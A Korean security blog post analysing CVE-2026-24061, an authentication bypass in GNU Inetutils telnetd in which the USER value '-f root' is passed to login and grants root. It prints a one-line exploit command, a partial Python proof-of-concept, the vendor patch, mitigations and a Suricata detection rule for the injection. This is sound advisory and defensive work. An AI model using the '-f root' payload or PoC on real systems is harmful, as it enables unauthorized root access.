1. telnetd
- Telnet을 사용해 원격에서 시스템에 접속할 수 있도록 지원하는 유닉스 및 리눅스 시스템의 서버 데몬
- TCP 23번 포트를 사용하며, 암호화 기능이 없음
※ GNU Inetutils : GNU 프로젝트에서 개발한 네트워크 프로그램 모음 [1]
2. 취약점

- telnetd가 사용자 인증을 처리하는 과정에서 USER 환경 변수를 검증 없이 로그인 프로그램에 전달하여 발생하는 인증 우회 취약점 (CVSS: 9.8)
영향받는 버전
1.9.3 ≤ GNU Inetutils telnetd ≤ 2.7
- telnetd는 원격 클라이언트가 Telnet으로 접속하면 내부적으로 /usr/bin/login를 호출해 사용자 인증을 처리 [3]
> 이때, 사용자명은 USER 환경 변수 값을 기반으로 전달되며, 일반적으로 아래와 같은 형식으로 로그인됨
/bin/login -p <username>
- 그러나 telnetd가 USER 환경 변수 값을 사용자 이름으로만 가정하고, 해당 값이 login 프로그램의 옵션으로 해석될 수 있는 문자열인지 여부를 검증하지 않음
...
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...
- 공격자가 Telnet 접속 시 USER 환경 변수의 값을 "-f root"로 제공할 경우 인증을 우회하여 root 권한을 획득할 수 있음
> f 옵션은 인증을 건너뛰고 해당 사용자로 바로 로그인하는 옵션

- 공격자는 아래 과정을 거쳐 root 권한으로 로그인 가능
root@kaka:~ sudo apt-get install inetutils-telnetd telnet
root@kaka:~ sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
root@kaka:~ sudo /etc/init.d/inetutils-inetd start
root@kaka:~ USER='-f root' telnet -a localhost
...
root@kaka:~#
2.1 PoC
- 대상 host:port에 -f root 페이로드를 사용해 Telnet 연결 시도 [4]
...
def main():
args = parse_arguments()
user_payload = "-f root"
global waiting_for_newline
try:
client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_sock.settimeout(5)
client_sock.connect((args.host, args.port))
client_sock.settimeout(None)
print(f"[*] Connected to {args.host}:{args.port}")
except Exception as e:
print(f"[!] Connection failed: {e}")
sys.exit(1)
...
3. 대응방안
- 벤더사 제공 업데이트 적용
> 옵션이나 쉘 메타 문자가 포함될 경우 무시하도록 패치 [5][6]
case 'U':
{
/* Ignore user names starting with '-' or containing shell
metachars, as they can cause trouble. */
char const *u = getenv ("USER");
return xstrdup ((u && *u != '-'
&& !u[strcspn (u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
? u : "");
}
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2026-24061 | GNU Inetutils telnetd | 1.9.3 이상 2.7 이하 | 2.8 |
- telnetd 서비스 비활성화 및 sshd 서비스로 대체
> 23번 포트 접근 차단
- 탐지 정책 적용 [7]
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 ( msg:"ET EXPLOIT CVE-2026-24061 GNU Telnetd User Injection"; flow:to_server,established; # Look for IAC SB NEW-ENVIRON (FF FA 27) content:"|FF FA 27|"; # Look for the USER variable (00 00 or 00 55 53 45 52) content:"USER"; nocase; distance:0; # Look for the -f flag injection content:"-f"; fast_pattern; distance:0; # Look for root or other high-priv users pcre:"/USER.*-f\\s+(root|admin|bin)/smi"; reference:cve,2026-24061; classtype:attempted-admin; sid:1000026; rev:1; )
4. 참고
[1] https://www.gnu.org/software/inetutils/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-24061
[3] https://seclists.org/oss-sec/2026/q1/89
[4] https://github.com/SafeBreach-Labs/CVE-2026-24061
[5] https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b
[6] https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc
[7] https://www.penligent.ai/hackinglabs/ko/the-zombie-protocol-a-comprehensive-engineering-autopsy-of-cve-2026-24061-gnu-inetutils-auth-bypass/
[8] https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/
[9] https://nsfocusglobal.com/gnu-inetutils-telnetd-remote-authentication-bypass-vulnerability-cve-2026-24061-notice/
[10] https://hackyboiz.github.io/2026/01/24/bekim/2026-01-24/
'취약점 > By-Pass' 카테고리의 다른 글
| 워드프레스 Modular DS 플러그인 인증 우회 취약점 (CVE-2026-23550) (0) | 2026.01.20 |
|---|---|
| Oracle Identity Manager 인증 우회를 통한 RCE 취약점 (CVE-2025-61757) (0) | 2025.11.26 |
| PAN-OS Nginx/Apache Path Confusion을 통한 인증 우회 취약점 (CVE-2025-0108) (0) | 2025.11.23 |
| Fortinet FortiWeb 경로 탐색 취약점 (CVE-2025-64446) (0) | 2025.11.17 |
| vBulletin 인증 우회 및 원격 코드 실행 취약점 (CVE-2025-48827, CVE-2025-48828) (0) | 2025.06.10 |